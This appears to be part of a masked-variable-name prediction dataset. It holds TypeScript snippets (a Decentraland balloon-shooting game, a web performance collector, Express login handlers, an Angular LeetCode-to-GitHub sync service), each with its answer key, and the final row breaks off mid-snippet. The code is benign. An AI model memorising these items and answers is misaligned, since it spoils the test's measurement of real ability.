const scoreTenEvent = new ScoreUpdateEvent(10); // Score for the orange egg
const scoreThirtyEvent = new ScoreUpdateEvent(30); // Score for the magenta egg
const scoreFiftyEvent = new ScoreUpdateEvent(50); // Score for the cyan egg

/// --- Gun ---
//#region
// Shooting the gun
export let gun = new Entity();
gun.addComponent(new GLTFShape(""models/rifle.glb""));
let gunTransform = new Transform({ position: new Vector3(16, 0, 16) });
gun.addComponent(gunTransform);

let gunData = new GunData(0.4); // Set gun cooldown to 0.4s
gun.addComponent(gunData);

// Point and click to grab gun or just walk near it
gun.addComponent(
  new OnClick(e => {
    grabGun();
  })
);

// Calculating distance between two points
function calculateDistance( [MASK] : Vector3, point2: Vector3): number {
  const a =  [MASK] .x - point2.x;
  const b =  [MASK] .z - point2.z;
  return a * a + b * b;
}

function grabGun() {
  // If player doesn't have a gun and is within 3m from the gun
  let distance = calculateDistance(gunTransform.position, camera.position);

  if (!gunData.playerHasGun && distance < 9) {
    log(""Locked and Loaded!!"");
    gunPickupSource.playOnce();
    gun.getComponent(GLTFShape).visible = false;
    gunData.cooldownTimer = 1.5; // 1.5s cooldown delay whilst arming the player
    gunData.playerHasGun = true;
    gunData.ammoLeft = 6; // Start with full ammo
    airRaidSource.playOnce();
    gameManager.addComponent(new Countdown());
  }
}

// Shooting the gun
const input = Input.instance;
input.subscribe(""BUTTON_DOWN"", e => {
  if (gunData.playerHasGun) {
    shoot();
  } else {
    log(""Grab the gun..."");
  }
});

function shoot() {
  if (gunData.ammoLeft == 0) {
    log(""Reload!!"");
    clipEmptySource.playOnce();
    return;
  }

  if (gunData.cooldownTimer <= 0) {
    log(""Fire!!"");
    shootSource.playOnce();
    gunData.ammoLeft -= 1;
    gunData.cooldownTimer = gunData.cooldownReset;
    log(""Ammo Left: "" + gunData.ammoLeft);
  }
}

// Ammo pack
let ammoPack = new Entity();
ammoPack.addComponent(new GLTFShape(""models/ammoPack.glb""));
let ammoPackTransform = new Transform({ position: new Vector3(16, 0.072, 16) });
ammoPack.addComponent(ammoPackTransform);
ammoPack.addComponent(new AmmoData(2.5)); // Set ammo cooldown to 2.5s
//#endregion

/// --- Farm ---
// Farm model
let farm = new Entity();
farm.addComponent(new GLTFShape(""models/farm.glb""));
farm.addComponent(new Transform({ position: new Vector3(16, 0, 16) }));

// Blade model
export let blade = new Entity();
blade.addComponent(new GLTFShape(""models/blade.glb""));
blade.addComponent(
  new Transform({
    position: new Vector3(16, 13, 11.3),
    rotation: Quaternion.Euler(0, 0, 0)
  })
);
blade.addComponent(new WindmillBladeData());

/// --- Balloons ---
//#region
let balloonBasketShape = new GLTFShape(""models/balloonBasket.glb"");

// Magenta balloon setup
let balloonMagentaBasket = new Entity();
balloonMagentaBasket.addComponent(balloonBasketShape);
balloonMagentaBasket.addComponent(
  new Transform({ position: new Vector3(16, 20, 28.5) })
);
let balloonMagenta = new Entity();
balloonMagenta.setParent(balloonMagentaBasket);
balloonMagenta.addComponent(new GLTFShape(""models/balloonMagenta.gltf""));
balloonMagentaBasket.addComponent(new BalloonData(1)); // Initialising the magenta balloon with an rowID of 1
balloonMagentaBasket.getComponent(BalloonData).speed = 2.0; // Changing the speed of the magenta balloon

// Cyan balloon setup
let balloonCyanBasket = new Entity();
balloonCyanBasket.addComponent(balloonBasketShape);
balloonCyanBasket.addComponent(
  new Transform({ position: new Vector3(16, 20, 16) })
);
let balloonCyan = new Entity();
balloonCyan.setParent(balloonCyanBasket);
balloonCyan.addComponent(new GLTFShape(""models/balloonCyan.gltf""));
let balloonCyanData = new BalloonData(2); // Initialising the cyan balloon with an rowID of 2
balloonCyanBasket.addComponent(balloonCyanData);
balloonCyanData.horizontalDirection = Vector3.Right(); // Give the cyan balloon a different travel direction
balloonCyanData.minimumHeight = 17; // Minimum height of 17m to avoid windmill

// Orange balloon setup
let balloonOrangeBasket = new Entity();
balloonOrangeBasket.addComponent(balloonBasketShape);
balloonOrangeBasket.addComponent(
  new Transform({ position: new Vector3(16, 20, 16) })
);
let balloonOrange = new Entity();
balloonOrange.setParent(balloonOrangeBasket);
balloonOrange.addComponent(new GLTFShape(""models/balloonOrange.gltf""));
balloonOrangeBasket.addComponent(new BalloonData(3)); // Initialising the orange balloon with an rowID of 3
balloonOrangeBasket.getComponent(BalloonData).speed = 1.0; // Changing the speed of the orange balloon

// Adding targeting information to the balloons
balloonMagentaBasket.addComponent(new TargetData());
balloonMagentaBasket.getComponent(TargetData).targets = balloonMagentaTargets;
balloonCyanBasket.addComponent(new TargetData());
balloonCyanBasket.getComponent(TargetData).targets = balloonCyanTargets;
balloonOrangeBasket.addComponent(new TargetData());
balloonOrangeBasket.getComponent(TargetData).targets = balloonOrangeTargets;
//#endregion

/// --- Chick ---
//#region
let chickShape = new GLTFShape(""models/chick.glb"");

// Magenta chick setup
let chickMagenta = new Entity();
chickMagenta.setParent(balloonMagentaBasket);
chickMagenta.addComponent(chickShape);
chickMagenta.addComponent(new ChickFlag());

// Magenta chick animation setup
let chickMagentaAnimator = new Animator();
chickMagenta.addComponent(chickMagentaAnimator);

const lookAroundMagentaChick = new AnimationState(""lookAround"");
lookAroundMagentaChick.speed = 1.3; // Adding variation to each chick's lookAround animation
lookAroundMagentaChick.looping = true;
lookAroundMagentaChick.play();
chickMagentaAnimator.addClip(lookAroundMagentaChick);

const grabEggMagentaChick = new AnimationState(""grabEgg"");
grabEggMagentaChick.looping = false;
grabEggMagentaChick.shouldReset = true;
chickMagentaAnimator.addClip(grabEggMagentaChick);

// Cyan chick setup
let chickCyan = new Entity();
chickCyan.setParent(balloonCyanBasket);
chickCyan.addComponent(chickShape);
chickCyan.addComponent(new ChickFlag());

// Cyan chick animation setup
let chickCyanAnimator = new Animator();
chickCyan.addComponent(chickCyanAnimator);

const lookAroundCyanChick = new AnimationState(""lookAround"");
lookAroundCyanChick.speed = 1.1; // Adding variation to each chick's lookAround animation
lookAroundCyanChick.looping = true;
lookAroundCyanChick.play();
chickCyanAnimator.addClip(lookAroundCyanChick);

const grabEggCyanChick = new AnimationState(""grabEgg"");
grabEggCyanChick.looping = false;
grabEggCyanChick.shouldReset = true;
chickCyanAnimator.addClip(grabEggCyanChick);

// Orange chick setup
let chickOrange = new Entity();
chickOrange.setParent(balloonOrangeBasket);
chickOrange.addComponent(chickShape);
chickOrange.addComponent(new ChickFlag());

// Orange chick animation setup
let chickOrangeAnimator = new Animator();
chickOrange.addComponent(chickOrangeAnimator);

const lookAroundOrangeChick = new AnimationState(""lookAround"");
lookAroundOrangeChick.speed = 0.9; // Adding variation to each chick's lookAround animation
lookAroundOrangeChick.looping = true;
lookAroundOrangeChick.play();
chickOrangeAnimator.addClip(lookAroundOrangeChick);

const grabEggOrangeChick = new AnimationState(""grabEgg"");
grabEggOrangeChick.looping = false;
grabEggOrangeChick.shouldReset = true;
chickOrangeAnimator.addClip(grabEggOrangeChick);
//#endregion

///--- Egg ---
//#region
// Magenta egg setup
let eggMagenta = new Entity();
eggMagenta.addComponent(new GLTFShape(""models/eggMagenta.glb""));
let eggMagentaTransform = new Transform({
  position: new Vector3(16, 10, 16)
});
eggMagenta.addComponent(eggMagentaTransform);
// Initialising the magenta egg with an rowID of 1 with a base speed of 4
let eggMagentaData = eggMagenta.addComponent(new EggData(1, 4));

// Magenta egg animation setup
let eggMagentaAnimator = new Animator();
eggMagenta.addComponent(eggMagentaAnimator);

const eggMagentaExplodingAnimation = new AnimationState(""exploding"");
eggMagentaExplodingAnimation.looping = true; // Need to turn looping on to have animation reset...
eggMagentaExplodingAnimation.shouldReset = true;
eggMagentaAnimator.addClip(eggMagentaExplodingAnimation);

const eggMagentaPopOutAnimation = new AnimationState(""eggPopOut"");
eggMagentaPopOutAnimation.looping = false;
eggMagentaPopOutAnimation.shouldReset = true;
eggMagentaAnimator.addClip(eggMagentaPopOutAnimation);

// Clicking directly on the magenta egg
eggMagenta.addComponent(
  new OnClick(e => {
    if (gunData.ammoLeft != 0) {
      if (
        balloonMagentaBasket.hasComponent(PauseOnTarget) &&
        !eggMagentaData.destroyed
      ) {
        eggShotdown(balloonMagentaBasket, eggMagenta, scoreThirtyEvent);

        // Run score pop up
        scorePlusThirtyPopUpAnimation.reset();
        scorePlusThirtyPopUpAnimation.play();

        // Run exploding animation
        eggMagentaExplodingAnimation.reset();
        eggMagentaExplodingAnimation.play();
      }
    }
  })
);

// Cyan egg setup
let eggCyan = new Entity();
eggCyan.addComponent(new GLTFShape(""models/eggCyan.glb""));
let eggCyanTransform = new Transform({
  position: new Vector3(16, 10, 16)
});
eggCyan.addComponent(eggCyanTransform);

// Initialising the cyan egg with an rowID of 2 with a base speed of 5
let eggCyanData = eggCyan.addComponent(new EggData(2, 5));

// Cyan egg animation setup
let eggCyanAnimator = new Animator();
eggCyan.addComponent(eggCyanAnimator);

const eggCyanExplodingAnimation = new AnimationState(""exploding"");
eggCyanExplodingAnimation.looping = true; // Need to turn looping on to have animation reset...
eggCyanExplodingAnimation.shouldReset = true;
eggCyanAnimator.addClip(eggCyanExplodingAnimation);

const eggCyanPopOutAnimation = new AnimationState(""eggPopOut"");
eggCyanPopOutAnimation.looping = false;
eggCyanPopOutAnimation.shouldReset = true;
eggCyanAnimator.addClip(eggCyanPopOutAnimation);

// Clicking directly on the cyan egg
eggCyan.addComponent(
  new OnClick(e => {
    if (gunData.ammoLeft != 0) {
      if (
        balloonCyanBasket.hasComponent(PauseOnTarget) &&
        !eggCyanData.destroyed
      ) {
        eggShotdown(balloonCyanBasket, eggCyan, scoreFiftyEvent);

        // Run score pop up
        scorePlusFiftyPopUpAnimation.reset();
        scorePlusFiftyPopUpAnimation.play();

        // Run exploding animation
        eggCyanExplodingAnimation.reset();
        eggCyanExplodingAnimation.play();
      }
    }
  })
);

// Orange egg setup
let eggOrange = new Entity();
eggOrange.addComponent(new GLTFShape(""models/eggOrange.glb""));
let eggOrangeTransform = new Transform({
  position: new Vector3(16, 10, 16)
});
eggOrange.addComponent(eggOrangeTransform);

// Initialising the orange egg with an rowID of 3 with a base speed of 2
let eggOrangeData = eggOrange.addComponent(new EggData(3, 2));

// Orange egg animation setup
let eggOrangeAnimator = new Animator();
eggOrange.addComponent(eggOrangeAnimator);

const eggOrangeExplodingAnimation = new AnimationState(""exploding"");
eggOrangeExplodingAnimation.looping = true; // Need to turn looping on to have animation reset...
eggOrangeExplodingAnimation.shouldReset = true;
eggOrangeAnimator.addClip(eggOrangeExplodingAnimation);

const eggOrangePopOutAnimation = new AnimationState(""eggPopOut"");
eggOrangePopOutAnimation.looping = false;
eggOrangePopOutAnimation.shouldReset = true;
eggOrangeAnimator.addClip(eggOrangePopOutAnimation);

// Clicking directly on the orange egg
eggOrange.addComponent(
  new OnClick(e => {
    if (gunData.ammoLeft != 0) {
      if (
        balloonOrangeBasket.hasComponent(PauseOnTarget) &&
        !eggOrangeData.destroyed
      ) {
        eggShotdown(balloonOrangeBasket, eggOrange, scoreTenEvent);

        // Run score pop up
        scorePlusTenPopUpAnimation.reset();
        scorePlusTenPopUpAnimation.play();

        // Run exploding animation
        eggOrangeExplodingAnimation.reset();
        eggOrangeExplodingAnimation.play();
      }
    }
  })
);

// When the egg is shot
function eggShotdown(balloon: Entity, egg: Entity, score: ScoreUpdateEvent) {
  egg.getComponent(EggData).destroyed = true;
  scoreEvents.fireEvent(score); // Update score
  egg.addComponentOrReplace(new EggExplosionTimeOut(EXPLOSION_TIME_OUT_SYNC));
  balloon.getComponent(PauseOnTarget).timeLeft = EXPLOSION_TIME_OUT_SYNC;
}
//#endregion

/// --- Scores ---
//#region
// Score plus thirty setup
let scorePlusThirty = new Entity();
scorePlusThirty.addComponent(new GLTFShape(""models/scorePlusThirty.gltf""));
scorePlusThirty.addComponent(
  new Transform({ position: new Vector3(0, 0.25, 0) })
);
scorePlusThirty.addComponent(new Billboard());
scorePlusThirty.addComponent(new ScorePopUpFlag());
scorePlusThirty.setParent(eggMagenta);

// Score plus thirty animation setup
let scorePlusThirtyAnimator = new Animator();
scorePlusThirty.addComponent(scorePlusThirtyAnimator);

const scorePlusThirtyPopUpAnimation = new AnimationState(""popUp"");
scorePlusThirtyPopUpAnimation.looping = false;
scorePlusThirtyPopUpAnimation.shouldReset = true;
scorePlusThirtyAnimator.addClip(scorePlusThirtyPopUpAnimation);

// Score plus fifty setup
let scorePlusFifty = new Entity();
scorePlusFifty.addComponent(new GLTFShape(""models/scorePlusFifty.gltf""));
scorePlusFifty.addComponent(
  new Transform({ position: new Vector3(0, 0.25, 0) })
);
scorePlusFifty.addComponent(new Billboard());
scorePlusFifty.addComponent(new ScorePopUpFlag());
scorePlusFifty.setParent(eggCyan);

// Score plus fifty animation setup
let scorePlusFiftyAnimator = new Animator();
scorePlusFifty.addComponent(scorePlusFiftyAnimator);
const scorePlusFiftyPopUpAnimation = new AnimationState(""popUp"");
scorePlusFiftyPopUpAnimation.looping = false;
scorePlusFiftyPopUpAnimation.shouldReset = true;
scorePlusFiftyAnimator.addClip(scorePlusFiftyPopUpAnimation);

// Score plus ten setup
let scorePlusTen = new Entity();
scorePlusTen.addComponent(new GLTFShape(""models/scorePlusTen.gltf""));
scorePlusTen.addComponent(new Transform({ position: new Vector3(0, 0.25, 0) }));
scorePlusTen.addComponent(new Billboard());
scorePlusTen.addComponent(new ScorePopUpFlag());
scorePlusTen.setParent(eggOrange);

// Score plus ten animation setup
let scorePlusTenAnimator = new Animator();
scorePlusTen.addComponent(scorePlusTenAnimator);
const scorePlusTenPopUpAnimation = new AnimationState(""popUp"");
scorePlusTenPopUpAnimation.looping = false;
scorePlusTenPopUpAnimation.shouldReset = true;
scorePlusTenAnimator.addClip(scorePlusTenPopUpAnimation);
//#endregion

/// --- Engine ---
//#region
// Model entities
engine.addEntity(gameManager);
engine.addEntity(farm);
engine.addEntity(blade);
engine.addEntity(gun);
engine.addEntity(ammoPack);
engine.addEntity(balloonMagentaBasket);
engine.addEntity(balloonCyanBasket);
engine.addEntity(balloonOrangeBasket);
engine.addEntity(eggMagenta);
engine.addEntity(eggCyan);
engine.addEntity(eggOrange);

// Audio entities
engine.addEntity(shootSound);
engine.addEntity(ammoPickupSound);
engine.addEntity(clipEmptySound);
engine.addEntity(gunPickupSound);
engine.addEntity(eggExplosionSound);
engine.addEntity(airRaidSound);
engine.addEntity(gameOverSound);
engine.addEntity(sweetcornSound);
engine.addEntity(eggPopOutMagentaSound);
engine.addEntity(eggPopOutCyanSound);
engine.addEntity(eggPopOutOrangeSound);
engine.addEntity(eggFallingMagentaSound);
engine.addEntity(eggFallingCyanSound);
engine.addEntity(eggFallingOrangeSound);
engine.addEntity(musicSound);

// Systems
engine.addSystem(new ShootSystem());
engine.addSystem(new RegrowSystem());
engine.addSystem(new ParticleSystem());
engine.addSystem(new TranslateVerticalSystem());
engine.addSystem(new TranslateHorizontalSystem());
engine.addSystem(new WindmillBladeRotateSystem(blade));
engine.addSystem(new CountdownSystem(gameManager));
engine.addSystem(new GameOverSystem(gameManager));
engine.addSystem(new PickupSystem(ammoPack, gun));
//#endregion

/// --- Particle Generation (Modified from MANA-Burning-Altar scene) ---
/// link: https://github.com/decentraland-scenes/MANA-Burning-Altar
/// NOTE: parent entities need to be added first before running anything below
//#region
const particles: Entity[] = [];
const offset = new Vector3(0, 5, 0);
const MAX_PARTICLES = 30;

// // Magenta balloon flames
for (let i = 0; i < MAX_PARTICLES; i++) {
  const particle = new Entity();
  particle.setParent(balloonMagentaBasket);
  particle.addComponent(particleShape);
  particle.addComponent(new Particle(offset));
  particle.addComponent(new Transform({ position: offset }));
  // engine.addEntity(particle); // Already added because of parent
  particles.push(particle);
}

// // Cyan balloon flames
for (let i = 0; i < MAX_PARTICLES; i++) {
  const particle = new Entity();
  particle.setParent(balloonCyanBasket);
  particle.addComponent(particleShape);
  particle.addComponent(new Particle(offset));
  particle.addComponent(new Transform({ position: offset }));
  particles.push(particle);
}

// // Orange balloon flames
for (let i = 0; i < MAX_PARTICLES; i++) {
  const particle = new Entity();
  particle.setParent(balloonOrangeBasket);
  particle.addComponent(particleShape);
  particle.addComponent(new Particle(offset));
  particle.addComponent(new Transform({ position: offset }));
  particles.push(particle);
}
//#endregion

// Initialise sweetcorn patches and explosions
loadPatches();
initialiseExplosions();
",point1
441,"import type { 
  PerformanceMetrics,
  PerformanceEntryType,
  Status,
  PerformanceEntryHandler,
  ResourceTiming,
  PerformanceLongTaskTiming,
  PerformanceEntry,
  NavigationTiming,
  LayoutShiftEntry,
  FirstInputEntry,
  PaintEntry,
  LargestContentfulPaintEntry,
  LongTaskEntry
} from '../types'
import { checkApiSupport, getFallbackValue } from '../utils/compatibility'
import { createEmptyMetrics } from '../types/performance'

export class PerformanceCollector {
  private metrics: PerformanceMetrics;
  private clsValue = 0;
  private clsEntries: PerformanceEntry[] = [];
  private observers: Map<PerformanceEntryType, PerformanceObserver> = new Map();
  private apiSupport = checkApiSupport();
  private status: Status = 'initial';

  constructor() {
    this.metrics = createEmptyMetrics();
    this.init();
  }

  private init(): void {
    const collectors = {
      'navigation': () => this.apiSupport.navigationTiming && this.collectNavigationTiming(),
      'resource': () => this.apiSupport.resourceTiming && this.collectResourceTiming(),
      'paint': () => this.apiSupport.performanceObserver && this.collectFCP(),
      'largest-contentful-paint': () => this.apiSupport.performanceObserver && this.collectLCP(),
      'first-input': () => this.apiSupport.performanceObserver && this.collectFID(),
      'layout-shift': () => this.apiSupport.performanceObserver && this.collectCLS(),
      'mark': () => this.apiSupport.userTiming && this.collectUserTiming(),
      'longtask': () => this.collectLongTasks(),
      'event': () => this.collectInteractions()
    } as const;

    Object.entries(collectors).forEach(([type, collector]) => {
      try {
        collector();
      } catch (error) {
        console.warn(`Failed to collect ${type} metrics:`, error);
      }
    });

    this.collectMemoryInfo();
    this.collectLayoutInfo();
    this.collectTTFB();
    this.collectTTI();
  }

  private collectPerformanceObserver(
    entryType: PerformanceEntryType,
    callback: (entries: PerformanceEntry[]) => void
  ): void {
    if (this.apiSupport.performanceObserver && !this.observers.has(entryType)) {
      try {
        const observer = new PerformanceObserver((list) => {
          callback(list.getEntries());
        });

        try {
          observer.observe({ 
            type: entryType,
            buffered: true 
          });
        } catch (error) {
          observer.observe({ entryTypes: [entryType] });
        }

        this.observers.set(entryType, observer);
        this.status = 'success';
      } catch (error) {
        this.status = 'error';
        console.warn(`PerformanceObserver for ${entryType} failed:`, error);
      }
    }
  }

  private formatTime( [MASK] : number): number {
    return  [MASK]  > 0 ? Number( [MASK] .toFixed(2)) : 0;
  }

  private collectNavigationTiming(): void {
    const navigation = getFallbackValue(
      () => performance.getEntriesByType('navigation')[0] as PerformanceNavigationTiming,
      null
    );

    if (navigation) {
      const baseTime = navigation.fetchStart;
      
      this.metrics.navigation = {
        loadTime: this.formatTime(navigation.loadEventEnd - baseTime),
        domReady: this.formatTime(navigation.domContentLoadedEventEnd - baseTime),
        firstPaint: this.formatTime(performance.getEntriesByType('paint')
          .find(entry => entry.name === 'first-paint')?.startTime || 0),
        domInteractive: this.formatTime(navigation.domInteractive - baseTime),
        domComplete: this.formatTime(navigation.domComplete - baseTime),
        dnsTime: this.formatTime(navigation.domainLookupEnd - navigation.domainLookupStart),
        tcpTime: this.formatTime(navigation.connectEnd - navigation.connectStart),
        sslTime: navigation.secureConnectionStart ? 
          this.formatTime(navigation.connectEnd - navigation.secureConnectionStart) : 0,
        ttfb: this.formatTime(navigation.responseStart - navigation.requestStart),
        responseTime: this.formatTime(navigation.responseEnd - navigation.responseStart),
        domParseTime: this.formatTime(navigation.domInteractive - navigation.responseEnd),
        domReadyTime: this.formatTime(navigation.domContentLoadedEventEnd - baseTime)
      };
    }
  }

  private collectFCP(): void {
    if (this.apiSupport.performanceObserver) {
      const historicalEntries = this.collectHistoricalEntries('paint');
      const fcp = historicalEntries.find(entry => entry.name === 'first-contentful-paint');
      if (fcp) {
        this.metrics.core.FCP = fcp.startTime;
      }

      this.collectPerformanceObserver('paint', (entries) => {
        const fcp = entries.find(entry => entry.name === 'first-contentful-paint');
        if (fcp) {
          this.metrics.core.FCP = fcp.startTime;
        }
      });
    }
  }

  private collectLCP(): void {
    if (this.apiSupport.performanceObserver) {
      this.collectPerformanceObserver('largest-contentful-paint', (entries) => {
        const lastEntry = entries[entries.length - 1];
        if (lastEntry) {
          this.metrics.core.LCP = lastEntry.startTime;
        }
      });
    }
  }

  private collectFID(): void {
    if (this.apiSupport.performanceObserver) {
      this.collectPerformanceObserver('first-input', (entries) => {
        const firstInput = entries[0] as PerformanceEntryHandler;
        if (firstInput?.processingStart) {
          this.metrics.core.FID = firstInput.processingStart - firstInput.startTime;
        }
      });
    }
  }

  private collectCLS(): void {
    if (this.apiSupport.performanceObserver) {
      this.collectPerformanceObserver('layout-shift', (entries) => {
        for (const entry of entries) {
          const layoutShift = entry as LayoutShiftEntry;
          if (!layoutShift.hadRecentInput) {
            this.clsValue += layoutShift.value;
            this.clsEntries.push(entry);
          }
        }
        
        this.metrics.core.CLS = this.calculateCLS();
      });
    }
  }

  private calculateCLS(): number {
    let sessionValues: number[] = [];
    let currentSessionValue = 0;
    let currentSessionStartTime = 0;

    this.clsEntries.forEach((entry) => {
      const layoutShift = entry as LayoutShiftEntry;
      
      if (currentSessionStartTime === 0) {
        currentSessionStartTime = layoutShift.startTime;
      } else if (
        layoutShift.startTime - currentSessionStartTime > 5000 || 
        layoutShift.startTime - (this.clsEntries[this.clsEntries.length - 1] as LayoutShiftEntry).startTime > 1000
      ) {
        sessionValues.push(currentSessionValue);
        currentSessionValue = 0;
        currentSessionStartTime = layoutShift.startTime;
      }
      currentSessionValue += layoutShift.value;
    });

    sessionValues.push(currentSessionValue);
    return Math.max(...sessionValues);
  }

  private collectTTFB(): void {
    const navigation = getFallbackValue(
      () => performance.getEntriesByType('navigation')[0] as PerformanceNavigationTiming,
      null
    );

    if (navigation) {
      this.metrics.core.TTFB = this.formatTime(navigation.responseStart - navigation.requestStart);
    }
  }

  private collectResourceTiming(): void {
    const resources = getFallbackValue(
      () => performance.getEntriesByType('resource'),
      []
    );

    this.metrics.resources = resources.map(entry => ({
      name: entry.name,
      entryType: entry.entryType,
      startTime: entry.startTime,
      duration: Math.round(entry.duration),
      unit: 'ms',
      category: 'resource',
      value: entry.duration,
      transferSize: (entry as PerformanceResourceTiming).transferSize,
      initiatorType: (entry as PerformanceResourceTiming).initiatorType,
      nextHopProtocol: (entry as PerformanceResourceTiming).nextHopProtocol,
      workerStart: (entry as PerformanceResourceTiming).workerStart,
      redirectStart: (entry as PerformanceResourceTiming).redirectStart,
      redirectEnd: (entry as PerformanceResourceTiming).redirectEnd,
      fetchStart: (entry as PerformanceResourceTiming).fetchStart,
      domainLookupStart: (entry as PerformanceResourceTiming).domainLookupStart,
      domainLookupEnd: (entry as PerformanceResourceTiming).domainLookupEnd,
      connectStart: (entry as PerformanceResourceTiming).connectStart,
      connectEnd: (entry as PerformanceResourceTiming).connectEnd,
      secureConnectionStart: (entry as PerformanceResourceTiming).secureConnectionStart,
      requestStart: (entry as PerformanceResourceTiming).requestStart,
      responseStart: (entry as PerformanceResourceTiming).responseStart,
      responseEnd: (entry as PerformanceResourceTiming).responseEnd
    })) as ResourceTiming[];
  }

  private collectUserTiming(): void {
    const entries = getFallbackValue(
      () => [...performance.getEntriesByType('mark'), ...performance.getEntriesByType('measure')],
      []
    );

    this.metrics.userTimings = entries.map(entry => ({
      name: entry.name,
      entryType: entry.entryType as 'mark' | 'measure',
      startTime: entry.startTime,
      duration: entry.duration,
      detail: (entry as any).detail
    })) as UserTiming[];
  }

  private collectLongTasks(): void {
    if (this.apiSupport.performanceObserver) {
      this.collectPerformanceObserver('longtask', (entries) => {
        this.metrics.longTasks = {
          count: entries.length,
          firstInputTime: entries[0]?.startTime || 0,
          interactionTime: entries.reduce((total, entry) => total + entry.duration, 0),
          tasks: entries as PerformanceLongTaskTiming[]
        };
      });
    }
  }

  private collectInteractions(): void {
    new PerformanceObserver((entryList) => {
      const entries = entryList.getEntries();
      if (entries.length > 0) {
        const firstInput = entries[0] as PerformanceEventTiming;
        this.metrics.core.firstInputTime = firstInput.startTime;
        this.metrics.core.interactionTime = firstInput.duration;
      }
    }).observe({ entryTypes: ['event'] });
  }

  private collectMemoryInfo(): void {
    if ('memory' in performance) {
      const memory = (performance as any).memory;
      this.metrics.system = {
        ...this.metrics.system,
        jsHeapSize: Math.round(memory.usedJSHeapSize / (1024 * 1024)),
        domNodes: document.getElementsByTagName('*').length,
        layoutCount: this.metrics.system.layoutCount || 0,
        deviceMemory: (navigator as any).deviceMemory,
        hardwareConcurrency: navigator.hardwareConcurrency,
        devicePixelRatio: window.devicePixelRatio,
        platform: navigator.platform,
        userAgent: navigator.userAgent
      };
    }
  }

  private collectLayoutInfo(): void {
    let layoutCount = 0;
    new PerformanceObserver((entryList) => {
      for (const entry of entryList.getEntries()) {
        if (entry.entryType === 'layout-shift') {
          layoutCount++;
        }
      }
      this.metrics.core.layoutCount = layoutCount;
    }).observe({ entryTypes: ['layout-shift'] });
  }

  private collectTTI(): void {
    if (!this.apiSupport.performanceObserver) return;

    let firstLongTaskSeen = false;
    let lastLongTaskFinishTime = 0;
    let longTaskCount = 0;

    this.collectPerformanceObserver('longtask', (entries) => {
      entries.forEach((entry) => {
        if (!firstLongTaskSeen) {
          firstLongTaskSeen = true;
          lastLongTaskFinishTime = entry.startTime + entry.duration;
        }

        longTaskCount++;
        const taskEnd = entry.startTime + entry.duration;
        if (taskEnd > lastLongTaskFinishTime) {
          lastLongTaskFinishTime = taskEnd;
        }
      });

      if (firstLongTaskSeen && this.metrics.core.FCP > 0) {
        this.metrics.core.TTI = Math.max(this.metrics.core.FCP, lastLongTaskFinishTime);
      }
    });
  }

  private collectHistoricalEntries(entryType: string): PerformanceEntry[] {
    try {
      return performance.getEntriesByType(entryType);
    } catch {
      return [];
    }
  }

  public disconnect(): void {
    this.observers.forEach(observer => observer.disconnect());
    this.observers.clear();
  }

  public getStatus(): Status {
    return this.status;
  }

  public isSupported(feature: keyof typeof this.apiSupport): boolean {
    return this.apiSupport[feature];
  }

  public async collect(): Promise<PerformanceMetrics> {
    try {
      this.status = 'loading';
      await new Promise(resolve => setTimeout(resolve, 0));
      this.status = 'success';
      return this.metrics;
    } catch (error) {
      this.status = 'error';
      throw error;
    }
  }
} ",time
442,"import { Request, Response, ErrorRequestHandler, NextFunction } from 'express';
import * as HttpStatus from 'http-status';
import * as jwt from 'jwt-simple';
import * as bcrypt from 'bcrypt';
const config = require('../../config/env/config')();

class Handlers {

    authFail(req: Request, res: Response) {
        res.sendStatus(HttpStatus.UNAUTHORIZED);
    }

    authSuccess(res: Response, credentials: any, data: any) {
        const  [MASK]  = bcrypt.compareSync(credentials.password, data.password);

        if ( [MASK] ) {
            const payload = { id: data.id };
            res.json({
                token: jwt.encode(payload, config.secret),
            });
        } else {
            res.sendStatus(HttpStatus.UNAUTHORIZED);
        }
    }

    onError(res: Response, message: string, err: any) {
        console.log(`Error: ${err}`);
        res.status(HttpStatus.INTERNAL_SERVER_ERROR).send(message);
    }

    onSuccess(res: Response, data: any) {
        res.status(HttpStatus.OK).json({ payload: data });
    }

    errorHandlerApi(err: ErrorRequestHandler, req: Request, res: Response, next: NextFunction) {
        console.error(`API error handler exectuted: ${err}`);
        res.status(500).json({
            errorCode: 'ERR-001',
            message: 'Internal Server Error'
        });
    }

    dbErrorHandler(res: Response, err: any) {
        console.log(`Error happened: ${err}`);
        res.status(HttpStatus.INTERNAL_SERVER_ERROR).json({
            code: 'ERR-01',
            message: 'Erro ao criar um usuário',
        });
    }
}

export default new Handlers();",isMatch
443,"import { Injectable } from '@angular/core';
import { HttpHeaders, HttpClient } from '@angular/common/http';
import { CookieService } from 'ngx-cookie-service';
import { FilteredInfo } from '../Model/FilteredInfo';
import { languages } from '../Model/language';

@Injectable()
export class RestCallService {
  defaultHeaders = new HttpHeaders();

  constructor(
    public httpClient: HttpClient,
    private cookieService: CookieService,
  ) {}

  private __GetGitHubHeaders(): any {
    let headers = this.defaultHeaders;
    const token = this.cookieService.get('git_pat');
    headers = headers.set('Authorization', 'token ' + token);
    headers = headers.set('Access-Control-Allow-Origin', '*');
    return headers;
  }

  public __GetLeetCodeUserProfile() {
    let headers = this.defaultHeaders;
    headers = headers.set('Access-Control-Allow-Origin', '*');
    return this.httpClient.request('get', '/api/problems/algorithms/', {
      headers,
      withCredentials: true,
    });
  }

  public __GetLeetCodeQuestionTags() {
    let headers = this.defaultHeaders;
    headers = headers.set('Access-Control-Allow-Origin', '*');
    return this.httpClient.request('get', '/problems/api/tags/', {
      headers,
      withCredentials: true,
    });
  }

  public __GetRepositories() {
    return this.httpClient.request('get', '/user/repos', {
      headers: this.__GetGitHubHeaders(),
    });
  }

  public __GetGithubUser() {
    return this.httpClient.request('get', '/user', {
      headers: this.__GetGitHubHeaders(),
    });
  }

  public __PushToGithub(url: string, id: number,  [MASK] : FilteredInfo[]) {
    return this.httpClient.request('PUT', url, {
      body: {
        message:
           [MASK] [id].question_id + '-' +  [MASK] [id].question__title,
        content: btoa( [MASK] [id].latestSuccessfulSubmission.code),
      },
      headers: this.__GetGitHubHeaders(),
    });
  }

  public __FetchSubmissions(slug: string) {
    let headers = this.defaultHeaders;
    headers = headers.set('Access-Control-Allow-Origin', '*');
    return this.httpClient.request('get', '/api/submissions/' + slug, {
      headers,
      withCredentials: true,
    });
  }

  // public __FetchQuestionTag(slug: string) {
  //   let headers = this.defaultHeaders;
  //   headers = headers.set('Access-Control-Allow-Origin', '*');
  //   const body = {
  //     query: [
  //       'query getQuestionDetail($titleSlug: String!) {',
  //       '  question(titleSlug: $titleSlug) {',
  //       '    topicTags {',
  //       '        name',
  //       '        slug',
  //       '        translatedName',
  //       '          __typename',
